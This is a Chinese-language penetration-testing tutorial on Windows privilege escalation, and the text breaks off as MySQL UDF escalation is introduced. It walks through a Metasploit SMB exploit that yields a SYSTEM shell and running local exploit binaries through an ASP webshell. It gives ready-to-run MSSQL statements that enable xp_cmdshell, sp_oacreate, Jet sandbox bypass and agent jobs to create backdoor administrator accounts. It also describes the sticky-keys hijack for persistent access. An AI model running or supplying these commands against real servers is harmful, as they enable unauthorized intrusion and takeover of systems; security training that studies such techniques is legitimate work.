概述
使用info可以查看信息,适用于什么系统,需要开放什么端口
这里通过查看可知适用于Windows 7 and Server 2008 R2 (x64),需要开放445端口
打开win2008的虚拟机,其ip为192.168.10.123,开放其445端口
查看信息
可以使用nmap+win2008的ip 来查看2008上有什么端口开放
输入exploit,可以看到远程主机49158端口和kali的444端口建立一个连接
接着出现了win2008的命令行,权限为system,可以创建用户了
上图是基于metasploit框架的一些可题权的漏洞,需要搭配合适的系统验证。
互联网上开放的一般只有80端口,很难直接使用这种,但是渗透到内网这种用的情况就比较多了。
接下来重点说一说本地提权
基于系统漏洞提权
我们可以使用下面的命令来匹配漏洞,查看有没有补丁,就可以利用相应的exe
提权演示一:11046.exe
使用大马80sec.asp,输入net user命令,查看用户权限,上传11046.exe
在执行CMD命令那,输入刚才上传的路径,执行,可以看到添加了一个用户到管理员组
输入net user查看
提权演示二:pr.exe
和上面的步骤一样上传文件pr.exe
在执行CMD命令那,输入刚才上传的路径,执行,看到可以使用命令
查看权限为系统管理员权限
创建一个用户,并加入到管理员权限
查看用户,发现已创建完成
数据库提权
Mssql提权工具——Sqltools
可以远程连接到数据库服务器,需要sa账号权限。Webshell直接运行(集成命令或者执行SQL语句)
1、xp_cmdshell提权
1、 查看是否存在xp_cmdshell存储过程。
and 1=(select count(*)from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell') --判断xp_cmdshell是否存在(返回1,存在;0,不存在)
2、 测试是否启用了xp_cmdshell.SQL 2000默认开启,SQL2005默认禁用
exec xp_cmdshell '命令' --尝试执行xp_cmdshell,如果能执行就开启了,不能执行,报错,错误如下
消息15281,级别16,状态1,过程xp_cmdshell,第1 行
SQL Server 阻止了对组件'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure 启用'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息,请参阅SQL Server 联机丛书中的"外围应用配置器"。
3、如果xp_cmdshell是禁用状态,则可以开启xp_cmdshell,启用即可执行。
EXEC sp_configure 'show advanced options', 1; --启用高级配置选项
Reconfigure;--更新配置
EXEC sp_configure 'xp_cmdshell', 1 ; --开启xp_cmdshell,如果关闭,需要将这里的1改为“0”
RECONFIGURE;--更新配置
(四句话需要连用,每句话用分号隔开,格式如下图)
上面的问题解决后,就可以输入exec xp_cmdshell 'net user aaa aaa /add && net localgroup administrators aaa /add'
2、sp_oacreate和 sp_oamethod提权
sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,简单的说,基本DOS能执行的命令,用脚本就能执行,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。
1、开启sp-ascreate。默认2005中是禁用的。2000中默认开启。(语句需要同时执行)
exec sp_configure 'show advanced options', 1;
RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',1;
RECONFIGURE;
2、利用其提权创建账户(语句需要同时执行)
declare @cmd INT;
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true';
exec sp_oacreate 'wscript.shell',@cmd output;
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true';
3、沙盒提权
我们使用xp_regwrite这个存储过程对注册表进行写操作,关掉沙盒模式。SQL语句为:
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0--执行成功沙盒模式就被关闭了。
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); --成功执行后就可以添加一个帐号和密码都为sql$的帐号了。同样的方法我们可以将他加到管理员组。
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
注意:SQL2005默认是禁用Ad Hoc Distributed,执行命令时,会提示错误。需要开启
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure
4、JOB提权
利用mssql的自动化任务功能,执行一个系统命令。
1、启动sqlagent服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
2、创建任务X,这里x为任务名称,并执行命令,命令执行后的结果,将返回给文本文档q.txt
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack hack /add &net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';(启动)
在windows系统中按五次shift键,触发粘滞键
当CMDshell无法执行的时候,可以利用 regwrite和 regread函数劫持ethc.exe(此exe文件就是)
在Mssql数据库中执行
这样我们连按五次shift键就可以调取cmd.exe了。接下来我们在另一台电脑上开启远程桌面,连接刚才的电脑,在登陆界面连按五次shift键,出现cmd窗口,可以新建一个用户,并添加到管理员组
Mysql提权途径——UDF提权
原理:UDF是mysql的一个拓展接口,UDF(Userdefinedfunction)让用户通过该接口可以自定义mysql函数。UDF定义需要DLL动态链接库文件支持。通过UDF提权基本步骤如下: